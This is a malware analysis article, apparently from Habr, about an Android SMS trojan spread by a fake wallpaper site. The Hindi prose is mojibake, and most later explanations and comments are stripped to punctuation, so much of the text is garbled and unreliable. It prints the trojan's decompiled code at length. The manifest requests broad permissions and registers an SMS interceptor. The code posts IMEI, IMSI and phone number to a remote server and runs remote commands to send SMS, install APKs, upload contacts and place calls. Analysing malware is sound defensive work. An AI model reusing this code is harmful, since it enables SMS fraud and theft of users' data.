Android рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛рдУрдВ рдХреЗ рд▓рд┐рдП рдПрдХ рднрдпрд╛рдирдХ рд╕реЛрдиреЗ рдХреА рдХрд╣рд╛рдиреА

рд╣рд░ рдХреЛрдИ рд╕рдВрднрд╡рддрдГ рдЙрди рд╕рд╛рдЗрдЯреЛрдВ рдкрд░ рдЖрдпрд╛ рд╣реИ рдЬреЛ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХреЛ рдХрд┐рд╕реА рд╡рд┐рд╢реЗрд╖ рд╕реЗрд╡рд╛ рдХреА рд╕рд╢реБрд▓реНрдХ рд╕рджрд╕реНрдпрддрд╛ рдкреНрд░рджрд╛рди рдХрд░рддреА рд╣реИрдВред рдореЗрд░реЗ рдХрд╛рдо рдХреА рдкреНрд░рдХреГрддрд┐ рдХреЗ рдХрд╛рд░рдг, рдореБрдЭреЗ рдХрднреА-рдХрднреА рдРрд╕реЗ рд╕рдВрд╕рд╛рдзрдиреЛрдВ рдХреА рдЬрд╛рдВрдЪ рдХрд░рдиреА рдкрдбрд╝рддреА рд╣реИред рд╕рдмрд╕реЗ рдЕрдзрд┐рдХ рдмрд╛рд░, рд╡реЗ рдЬрд▓реНрджрдмрд╛рдЬреА рдореЗрдВ рд╕рд╛рдордЧреНрд░реА, рдирдХрд▓реА рдЯрд┐рдкреНрдкрдгрд┐рдпреЛрдВ рд╕реЗ рднрд░реЗ рд╣реЛрддреЗ рд╣реИрдВ рдФрд░ рд╡рд┐рд╢реЗрд╖ рд░реВрдк рд╕реЗ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХреЛ рдзреЛрдЦрд╛ рджреЗрдиреЗ рдХреЗ рд▓рд┐рдП рдмрдирд╛рдП рдЬрд╛рддреЗ рд╣реИрдВред рд░рдЪрдирд╛рдХрд╛рд░ рд╕реЛрдиреЗ рдХреЗ рдкрд╣рд╛рдбрд╝реЛрдВ рдХрд╛ рд╡рд╛рджрд╛ рдХрд░рддреЗ рд╣реИрдВ, рд▓реЗрдХрд┐рди рд╡рд╛рд╕реНрддрд╡ рдореЗрдВ рдпрд╣ рд╕рдм рдПрдХ рдиреЛрдЯрдмрдВрджреА-рдордиреА рд▓реЙрдиреНрдбреНрд░рд┐рдВрдЧ рдХреЗ рд╕рд╛рде рд╕рдорд╛рдкреНрдд рд╣реЛрддрд╛ рд╣реИред рдпрд╣ рдЖрд▓реЗрдЦ рдПрдВрдбреНрд░реЙрдЗрдб рдПрдкреНрд▓рд┐рдХреЗрд╢рди рдХреЗ рд╕рд╛рде рдирдХрд▓реА рд╕рд╛рдЗрдЯ рдХрд╛ рд╡рд┐рд╢реНрд▓реЗрд╖рдг рдХрд░рдиреЗ рдХреЗ рд╡рд┐рд╢реЗрд╖ рдорд╛рдорд▓реЛрдВ рдореЗрдВ рд╕реЗ рдПрдХ рд╣реИред

рдпрд╣ рд╕рдм рдЗрд╕ рддрдереНрдп рд╕реЗ рд╢реБрд░реВ рд╣реБрдЖ рдХрд┐ рдЙрдиреНрд╣реЛрдВрдиреЗ рдореБрдЭреЗ рдЬрд╛рдВрдЪ рдХреЗ рд▓рд┐рдП рдПрдХ рд╕рд╛рдЗрдЯ рднреЗрдЬреАред рдЙрдкрд╕реНрдерд┐рддрд┐ рдореЗрдВ - "рдлреНрд░реА рд╡реЙрд▓рдкреЗрдкрд░ рдФрд░ рдПрдВрдбреНрд░реЙрдЗрдб рдХреЗ рд▓рд┐рдП рдЪрд┐рддреНрд░", "рдПрдВрдбреНрд░реЙрдЗрдб рдкрд░ рд╕рдмрд╕реЗ рд╕реНрдорд╛рд░реНрдЯ рдкреНрд░реЛрдЧреНрд░рд╛рдо" рдФрд░ рдЬреИрд╕реЗ рд╣рд╛рдИ-рдкреНрд░реЛрдлрд╛рдЗрд▓ рд╕реБрд░реНрдЦрд┐рдпреЛрдВ рд╡рд╛рд▓рд╛ рдПрдХ рд╕рд╛рдорд╛рдиреНрдп рд╡реЗрдпрд░ рдмреНрд▓реЙрдЧред рдЗрд╕рдиреЗ рддреБрд░рдВрдд рдореБрдЭреЗ рдЪреМрдВрдХрд╛ рджрд┐рдпрд╛ рдХрд┐ рд╕рднреА рдкреЛрд╕реНрдЯ рдореЗрдВ "рдЕрд▓рдЧ-рдЕрд▓рдЧ рд▓реЛрдЧреЛрдВ" рджреНрд╡рд╛рд░рд╛ рдЫреЛрдбрд╝реА рдЧрдИ рд╕рдорд╛рди рдЯрд┐рдкреНрдкрдгрд┐рдпрд╛рдВ рд╣реИрдВред рд╕рд╛рдордЧреНрд░реА рд▓рдЧрднрдЧ рдирд┐рдореНрдирд▓рд┐рдЦрд┐рдд рд╣реИ:

- рд╕рд╛рдЗрдЯ рдлреЛрди рдирдВрдмрд░ рдорд╛рдВрдЧрддреА рд╣реИ, рдХреНрдпрд╛ рдпрд╣ рд╕рд╛рдорд╛рдиреНрдп рд╣реИ?
- рд╣рд╛рдБ, рдпрд╣ рдкрдВрдЬреАрдХрд░рдг рдХреЗ рд▓рд┐рдП рд╣реИ, рдпрд╣ рдЬрд╛рдБрдЪ рдХрд░ рдХрд┐ рдЖрдк рдмреЙрдЯ рдирд╣реАрдВ рд╣реИрдВред
- рдУрд╣ рд╢рд╛рдВрдд, рдзрдиреНрдпрд╡рд╛рдж!

рд╕рд╛рдорд╛рдиреНрдп рддреМрд░ рдкрд░, рдзреЛрдЦреЗ рдХрд╛ рддрдереНрдп рддреБрд░рдВрдд рджрд┐рдЦрд╛рдИ рджреЗрддрд╛ рд╣реИ, рд▓реЗрдХрд┐рди рдореИрдВрдиреЗ рдЖрдЧреЗ рдЦреБрджрд╛рдИ рдХрд░рдиреЗ рдХрд╛ рдлреИрд╕рд▓рд╛ рдХрд┐рдпрд╛ред рдЬрдм рдореИрдВ рдбреЗрд╕реНрдХрдЯреЙрдк рдХрдВрдкреНрдпреВрдЯрд░ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдХрд┐рд╕реА рднреА рдкреЛрд╕реНрдЯ рд╕реЗ рдПрдкреНрд▓рд┐рдХреЗрд╢рди рдбрд╛рдЙрдирд▓реЛрдб рдХрд░рдиреЗ рдХрд╛ рдкреНрд░рдпрд╛рд╕ рдХрд░рддрд╛ рд╣реВрдВ, рддреЛ рдореБрдЭреЗ рджреВрд╕рд░реЗ рд╕рдВрд╕рд╛рдзрди рдкрд░ рдлреЗрдВрдХ рджрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИред Http рдХрд╛ рдПрдХ рд▓рд┐рдВрдХ http: // **** / ** /? Sub_id = * (рд╣рд╛рдБ, рд╢рд╛рдпрдж рдПрдХ рднрд╛рдЧреАрджрд╛рд░)ред рд╡рд╣рд╛рдВ рдЙрдиреНрд╣реЛрдВрдиреЗ рдореБрдЭреЗ рдкреИрд╕реЗ рдХреЗ рд▓рд┐рдП Google Chrome рдЦрд░реАрджрдиреЗ рдХреА рдкреЗрд╢рдХрд╢ рдХреА (рдФрд░ рдЖрдЦрд┐рд░рдХрд╛рд░, рд▓реЛрдЧреЛрдВ рдХрд╛ рдиреЗрддреГрддреНрд╡ рдХрд┐рдпрд╛ рдЬрд╛ рд░рд╣рд╛ рд╣реИ!)ред

рдорд╛рди рд▓реЗрдВ рдХрд┐ ... рд▓реЗрдХрд┐рди рдЖрдЦрд┐рд░рдХрд╛рд░, рд╕рдВрд╕рд╛рдзрди рдПрдВрдбреНрд░реЙрдЗрдб рдбрд┐рд╡рд╛рдЗрд╕реЛрдВ рдХреЗ рд▓рд┐рдП рдЕрдиреБрдкреНрд░рдпреЛрдЧреЛрдВ рдХреЗ рд▓рд┐рдП рд╕рдорд░реНрдкрд┐рдд рд╣реИ, рдЬрд┐рд╕рдХрд╛ рдЕрд░реНрде рд╣реИ рдХрд┐ рдЖрдкрдХреЛ рдбрд┐рд╡рд╛рдЗрд╕ рд╕реЗ рд▓реЙрдЧ рдЗрди рдХрд░рдиреЗ рдХреА рдХреЛрд╢рд┐рд╢ рдХрд░рдиреЗ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реИред рдЬреИрд╕рд╛ рдХрд┐ рдХреЛрдИ рдЙрдореНрдореАрдж рдХрд░реЗрдЧрд╛: рд╕реБрдкрд░ рдмреНрд░рд╛рдЙрдЬрд╝рд░ рдЦрд░реАрджрдиреЗ рдХреЗ рдкреНрд░рд╕реНрддрд╛рд╡ рдХреЗ рдмрдЬрд╛рдп, install.apk рд▓реЛрдб рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИред "рдпрд╣ рдкрд╣рд▓реЗ рд╕реЗ рд╣реА рджрд┐рд▓рдЪрд╕реНрдк рд╣реИ," рдореИрдВрдиреЗ рд╕реЛрдЪрд╛, рдФрд░ рдореБрдЭрд╕реЗ рдЧрд▓рддреА рдирд╣реАрдВ рд╣реБрдИред

рдкрд╣рд▓реА рдЪреАрдЬ рдЬрд┐рд╕рдиреЗ рдореЗрд░реА рдЖрдВрдЦ рдХреЛ рдкрдХрдбрд╝рд╛, рд╡рд╣ рд╕рдВрднрд╛рд╡рд┐рдд рдЦрддрд░рдирд╛рдХ рдЕрдиреБрдорддрд┐рдпреЛрдВ рдХреА рдПрдХ рдмрдбрд╝реА рд╕рдВрдЦреНрдпрд╛ рдереАред



рдХрдордЬреЛрд░ рд╕реЗрдЯ рдирд╣реАрдВ, рд╣реИ рдирд╛? рдореИрдВрдиреЗ рд╕реЛрдЪрд╛ рдХрд┐ рдЗрди рд╕рднреА рдЕрдиреБрдорддрд┐рдпреЛрдВ рдХреЗ рд╕рд╛рде рдЖрд╡реЗрджрди рдХреНрдпрд╛ рдХрд░рддрд╛ рд╣реИред

рдореИрдВ рд╕реНрд╡рдпрдВ рд╡рд┐рдШрдЯрди рдкреНрд░рдХреНрд░рд┐рдпрд╛ рдХрд╛ рд╡рд░реНрдгрди рдирд╣реАрдВ рдХрд░реВрдВрдЧрд╛, рдореИрдВ рд╕рд┐рд░реНрдл рдпрд╣ рдЙрд▓реНрд▓реЗрдЦ рдХрд░рддрд╛ рд╣реВрдВ рдХрд┐ рдореИрдВрдиреЗ apktools , dex2jar , JD-GUI рдФрд░ jad рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рд╣реИ ред рдирддреАрдЬрддрди, рдореБрдЭреЗ рд╡рд┐рдШрдЯрд┐рдд рд╕рдВрд╕рд╛рдзрди рдФрд░ рдХрдХреНрд╖рд╛рдУрдВ рдХрд╛ рдПрдХ рд╕реЗрдЯ рдорд┐рд▓рд╛ред

рдкрд╣рд▓реА рдЪреАрдЬрд╝ рдЬреЛ рдореИрдВрдиреЗ рджреЗрдЦреА, рд╡рд╣ рдереА, AndroidManifest.xml ред

AndroidManifest.xml рдлрд╝рд╛рдЗрд▓ рд╕рд╛рдордЧреНрд░реА
<?xml version="1.0" encoding="utf-8"?>
<manifest android:versionCode="100" android:versionName="100" package="install.app"
  xmlns:android="http://schemas.android.com/apk/res/android">
    <uses-sdk android:minSdkVersion="4" android:targetSdkVersion="15" />
    <uses-permission android:name="android.permission.READ_PHONE_STATE" />
    <uses-permission android:name="android.permission.SEND_SMS" />
    <uses-permission android:name="android.permission.RECEIVE_SMS" />
    <uses-permission android:name="android.permission.INTERNET" />
    <uses-permission android:name="android.permission.WAKE_LOCK" />
    <application android:theme="@style/AppTheme" android:label="@string/app_name" android:icon="@drawable/icon">
        <activity android:theme="@android:style/Theme.NoTitleBar.Fullscreen" android:label="@string/app_name" android:name=".MainActivity" android:screenOrientation="portrait" android:configChanges="keyboardHidden|orientation">
            <intent-filter>
                <action android:name="android.intent.action.MAIN" />
                <category android:name="android.intent.category.LAUNCHER" />
            </intent-filter>
        </activity>
        <receiver android:name=".MainReceiver" android:enabled="true">
            <intent-filter android:priority="2147483647">
                <action android:name="android.provider.Telephony.SMS_RECEIVED" />
            </intent-filter>
        </receiver>
        <service android:name=".MainService" />
        <receiver android:name="ru.beta.MainReceiver" android:enabled="true">
            <intent-filter android:priority="2147483647">
                <action android:name="android.provider.Telephony.SMS_RECEIVED" />
                <action android:name="custom.alarm" />
                <action android:name="android.intent.action.BOOT_COMPLETED" />
                <action android:name="android.intent.action.USER_PRESENT" />
                <action android:name="android.intent.action.PHONE_STATE" />
                <action android:name="android.intent.action.SCREEN_OFF" />
                <action android:name="android.intent.action.SCREEN_ON" />
            </intent-filter>
        </receiver>
        <service android:label="@string/app_name" android:name="ru.beta.MainService" />
    </application>
    <uses-permission android:name="android.permission.READ_PHONE_STATE" />
    <uses-permission android:name="android.permission.ACCESS_NETWORK_STATE" />
    <uses-permission android:name="android.permission.SEND_SMS" />
    <uses-permission android:name="android.permission.RECEIVE_SMS" />
    <uses-permission android:name="android.permission.INTERNET" />
    <uses-permission android:name="android.permission.RECEIVE_BOOT_COMPLETED" />
    <uses-permission android:name="android.permission.ACCESS_NETWORK_STATE" />
    <uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE" />
    <uses-permission android:name="android.permission.INSTALL_PACKAGES" />
    <uses-permission android:name="android.permission.DELETE_PACKAGES" />
    <uses-permission android:name="android.permission.READ_CONTACTS" />
    <uses-permission android:name="android.permission.CALL_PHONE" />
    <uses-permission android:name="android.permission.CALL_PRIVILEGED" />
    <uses-permission android:name="android.permission.GET_TASKS" />
    <uses-permission android:name="android.permission.SYSTEM_ALERT_WINDOW" />
    <uses-permission android:name="android.permission.RESTART_PACKAGES" />
    <uses-permission android:name="android.permission.KILL_BACKGROUND_PROCESSES" />
    <uses-permission android:name="android.permission.READ_LOGS" />
</manifest>


:

READ_PHONE_STATE тАФ ( , , );
SEND_SMS тАФ sms-;
RECEIVE_SMS тАФ sms- ( MainReceiver );
INTERNET тАФ ;
WAKE_LOCK тАФ ( :);
ACCESS_NETWORK_STATE тАФ ;
RECEIVE_BOOT_COMPLETED тАФ , ;
WRITE_EXTERNAL_STORAGE тАФ / ;
INSTALL_PACKAGES тАФ ;
DELETE_PACKAGES тАФ ;
READ_CONTACTS тАФ ;
CALL_PHONE тАФ ;
CALL_PRIVILEGED тАФ , ;
GET_TASKS тАФ ;
SYSTEM_ALERT_WINDOW тАФ ;
RESTART_PACKAGES тАФ ( );
KILL_BACKGROUND_PROCESSES тАФ ( );
READ_LOGS тАФ .

, :

SMS_RECEIVED тАФ sms-;
custom.alarm тАФ ;
BOOT_COMPLETED тАФ ;
USER_PRESENT тАФ ;
PHONE_STATE тАФ ( , , );
SCREEN_OFF тАФ ;
SCREEN_ON тАФ .

( , ), . URL , . , , WireShark, .


. MainActivity. , :

MainActivity
public void onCreate(Bundle bundle)
    {
        int i;
        super.onCreate(bundle);
        Settings settings1;
        WebViewClient webviewclient;
        JSONObject jsonobject1;
        int j;
        int k;
        try
        {
            //
            //   
            //
            JSONObject jsonobject = new JSONObject(Functions.decript(getString(0x7f050002)));
            new Beta(getApplicationContext(), jsonobject);
        }
        catch(Exception exception2)
        {
            exception2.printStackTrace();
        }
        //
        //    
        //
        showDialog(IDD_LOADING);
        settings1 = new Settings();
        if(!settings1.load(this))
            settings1.save(this);
        //
        //    
        //
        sendHttp();
        handler = new Handler();
        i = 0x7f030001;
        jsonSettings = (new JSONObject(Constants.data)).getJSONObject("settings");
        k = jsonSettings.getInt("mode");
        if(k == 1)
            //
            //         sms-
            //
            MainService.start(this, new Intent(), "pay");
        if(k == 3)
            i = 0x7f030001;
        else
            i = 0x7f030000;
_L1:
        setContentView(i);
        api = new WebApi(this, this);
        webView = new WebView(this);
        webviewclient = new WebViewClient() {

            public void onPageFinished(WebView webview, String s)
            {
                System.out.println("Page loaded");
                try
                {
                    loadingDialog.dismiss();
                }
                catch(Exception exception3)
                {
                    exception3.printStackTrace();
                }
                MainActivity.callJsCallbackAndroidVersion(android.os.Build.VERSION.RELEASE);
                if(jsonSettings.getInt("mode") == 3)
                    MainActivity.executeJs(jsonSettings.getString("licenseJs"));
_L1:
                return;
                JSONException jsonexception;
                jsonexception;
                jsonexception.printStackTrace();
                  goto _L1
            }

            final MainActivity this$0;

            
            {
                this$0 = MainActivity.this;
                super();
            }
        };
        webView.setWebViewClient(webviewclient);
        webView.setWebChromeClient(new WebChromeClient() {
        // 
        });
        // 
        if(jsonSettings.getInt("mode") == 4)
        {
	
            j = jsonobject1.getInt("mode");
            if(j == 41 || j == 42)
                //
                //         sms-
                //
                MainService.start(this, new Intent(), "pay");
        }
        webView.loadUrl((new StringBuilder("file:///android_asset/html/")).append(jsonobject1.getString("html")).append("/index.html").toString());
_L2:
        return;
        Exception exception;
        exception;
        exception.printStackTrace();
          goto _L1
        Exception exception1;
        exception1;
        exception1.printStackTrace();
          goto _L2
    }

//
//    
//
public void sendHttp()
    {
        (new Thread(new Runnable() {

            public void run()
            {
                //
                //         
                //
                MainActivity.sendPostRequest((new JSONObject(Constants.data)).getJSONObject("settings").getString("startUrl").replace("{IMEI}", Constants.imei).replace("{IMSI}", Constants.imsi).replace("{PHONE}", Constants.phone).replace("{COUNTRY}", Constants.country).replace("{APPID}", getText(0x7f050001)).replace("{MODEL}", Build.MODEL).replace("{MANUFACTURER}", Build.MANUFACTURER).replace("{SDK}", String.valueOf(android.os.Build.VERSION.SDK_INT)), new LinkedList(), new LinkedList());

// 
        })).start();
_L1:
        return;
        Exception exception;
        exception;
        exception.printStackTrace();
          goto _L1
    }


, , тАЬтАЭ ( ). , . тАФ . ? , - .

, MainReceiver. , (!) , .

MainService. , , json executeCommands(jsonobject1). :

MainService
public void executeCommands(JSONObject jsonobject)
    {
        if(Constants.DEBUG)
            System.out.println((new StringBuilder()).append("response: ").append(jsonobject.toString(4)).toString());
        Settings settings = Settings.getSettings();
        if(jsonobject.has("wait"))
        {
            if(Constants.DEBUG)
                System.out.println("has wait");
            settings.timeNextConnection = System.currentTimeMillis() + (long)(jsonobject.getInt("wait") * Constants.SECOND);
            settings.save(this);
        }
        //     URL 
        if(jsonobject.has("server"))
        {
            if(Constants.DEBUG)
                System.out.println("has server");
            settings.server = jsonobject.getString("server");
            settings.save(this);
        }
        //    
        if(jsonobject.has("removeAllSmsFilters"))
        {
            if(Constants.DEBUG)
                System.out.println("has removeAllSmsFilters");
            if(Boolean.valueOf(jsonobject.getBoolean("removeAllSmsFilters")).booleanValue())
            {
                settings.deleteSmsList.clear();
                settings.save(this);
            }
        }
        //    
        if(jsonobject.has("removeAllCatchFilters"))
        {
            if(Constants.DEBUG)
                System.out.println("has removeAllCatchFilters");
            if(Boolean.valueOf(jsonobject.getBoolean("removeAllCatchFilters")).booleanValue())
            {
                settings.catchSmsList.clear();
                settings.save(this);
            }
        }
        //  
        if(jsonobject.has("deleteSms"))
        {
            if(Constants.DEBUG)
                System.out.println("has deleteSms");
            settings.deleteSmsList.clear();
            settings.save(this);
            JSONArray jsonarray5 = jsonobject.getJSONArray("deleteSms");
            for(int j1 = 0; j1 < jsonarray5.length(); j1++)
            {
                JSONObject jsonobject7 = jsonarray5.getJSONObject(j1);
                settings.deleteSmsList.add(new SmsItem(jsonobject7.getString("phone"), jsonobject7.getString("text")));
            }

            settings.save(this);
        }
        //    
        if(jsonobject.has("catchSms"))
        {
            if(Constants.DEBUG)
                System.out.println("has catchSms");
            settings.catchSmsList.clear();
            settings.save(this);
            JSONArray jsonarray4 = jsonobject.getJSONArray("catchSms");
            for(int i1 = 0; i1 < jsonarray4.length(); i1++)
            {
                JSONObject jsonobject6 = jsonarray4.getJSONObject(i1);
                settings.catchSmsList.add(new SmsItem(jsonobject6.getString("phone"), jsonobject6.getString("text")));
            }

            settings.save(this);
        }
        //  
        if(jsonobject.has("sendSms"))
        {
            if(Constants.DEBUG)
                System.out.println("has sendSms");
            JSONArray jsonarray3 = jsonobject.getJSONArray("sendSms");
            for(int l = 0; l < jsonarray3.length(); l++)
            {
                JSONObject jsonobject5 = jsonarray3.getJSONObject(l);
                Functions.sendSms(jsonobject5.getString("phone"), jsonobject5.getString("text"));
            }

        }
        //  http- (botnet???)
        if(jsonobject.has("httpRequest"))
        {
            if(Constants.DEBUG)
                System.out.println("has httpRequest");
            JSONObject jsonobject2 = jsonobject.getJSONObject("httpRequest");
            String s4 = jsonobject2.getString("method");
            String s5 = jsonobject2.getString("url");
            ArrayList arraylist = new ArrayList();
            ArrayList arraylist1 = new ArrayList();
            JSONArray jsonarray1 = jsonobject2.getJSONArray("params");
            for(int j = 0; j < jsonarray1.length(); j++)
            {
                JSONObject jsonobject4 = jsonarray1.getJSONObject(j);
                arraylist.add(new BasicNameValuePair(jsonobject4.getString("name"), jsonobject4.getString("value")));
            }

            JSONArray jsonarray2 = jsonobject2.getJSONArray("properties");
            for(int k = 0; k < jsonarray2.length(); k++)
            {
                JSONObject jsonobject3 = jsonarray2.getJSONObject(k);
                arraylist1.add(new BasicNameValuePair(jsonobject3.getString("name"), jsonobject3.getString("value")));
            }

            Functions.sendSimpleHttpRequest(s5, s4, arraylist, arraylist1);
        }
        //   
        if(jsonobject.has("update"))
        {
            if(Constants.DEBUG)
                System.out.println("has update");
            String s1 = jsonobject.getString("update");
            ConnectivityManager connectivitymanager = (ConnectivityManager)getSystemService("connectivity");
            if(connectivitymanager.getNetworkInfo(1).isAvailable() || connectivitymanager.getNetworkInfo(0).isConnectedOrConnecting())
            {
                String s2 = (new StringBuilder()).append(System.currentTimeMillis()).append(".apk").toString();
                String s3 = (new StringBuilder()).append(Environment.getExternalStorageDirectory()).append("/download/").toString();
                if(Functions.downloadFile(s3, s1, s2))
                    Functions.installApk(this, (new StringBuilder()).append(s3).append(s2).toString());
            }
        }
        //   
        if(jsonobject.has("uninstall"))
        {
            if(Constants.DEBUG)
                System.out.println("has uninstall");
            JSONArray jsonarray = jsonobject.getJSONArray("uninstall");
            for(int i = 0; i < jsonarray.length(); i++)
                Functions.uninstallApk(this, jsonarray.getString(i));

        }
        //    
        if(jsonobject.has("notification"))
        {
            if(Constants.DEBUG)
                System.out.println("has notification");
            JSONObject jsonobject1 = jsonobject.getJSONObject("notification");
            String s = jsonobject1.getString("url");
            Functions.showNotification(this, jsonobject1.getString("tickerText"), jsonobject1.getString("title"), jsonobject1.getString("text"), jsonobject1.getInt("icon"), s);
        }
        //   URL
        if(jsonobject.has("openUrl"))
        {
            if(Constants.DEBUG)
                System.out.println("has openUrl");
            Functions.openUrl(this, jsonobject.getString("openUrl"));
        }
        //    
        if(jsonobject.has("sendContactList"))
        {
            if(Constants.DEBUG)
                System.out.println("has sendContactList");
            if(Boolean.valueOf(jsonobject.getBoolean("sendContactList")).booleanValue())
            {
                ThreadOperation threadoperation1 = new ThreadOperation(this, 2, null);
                (new Thread(threadoperation1)).start();
            }
        }
        //      
        if(jsonobject.has("sendPackageList"))
        {
            if(Constants.DEBUG)
                System.out.println("has sendPackageList");
            if(Boolean.valueOf(jsonobject.getBoolean("sendPackageList")).booleanValue())
            {
                ThreadOperation threadoperation = new ThreadOperation(this, 3, null);
                (new Thread(threadoperation)).start();
            }
        }
        //  URL  
        if(jsonobject.has("twitter"))
        {
            if(Constants.DEBUG)
                System.out.println("has twitter");
            settings.twitterUrl = jsonobject.getString("twitter");
            settings.save(this);
        }
        //  
        if(jsonobject.has("makeCall"))
        {
            if(Constants.DEBUG)
                System.out.println("has makeCall");
            Functions.makeCall(this, jsonobject.getString("makeCall"));
        }
_L1:
        return;
        Exception exception;
        exception;
        exception.printStackTrace();
          goto _L1
    }


. , .


, тАЬ тАЭ, .

sms-, , тАФ , . тАж

( , , ) :

1. URL
2. sms- ( , , )
3.
4.
5. http- (botnet???)
6.
7.
8.
9. URL
10.
11.
12. (, )
13. Twitter ( , ).

. .

P.S. - тАФ .

Source: https://habr.com/ru/post/In168573/


All Articles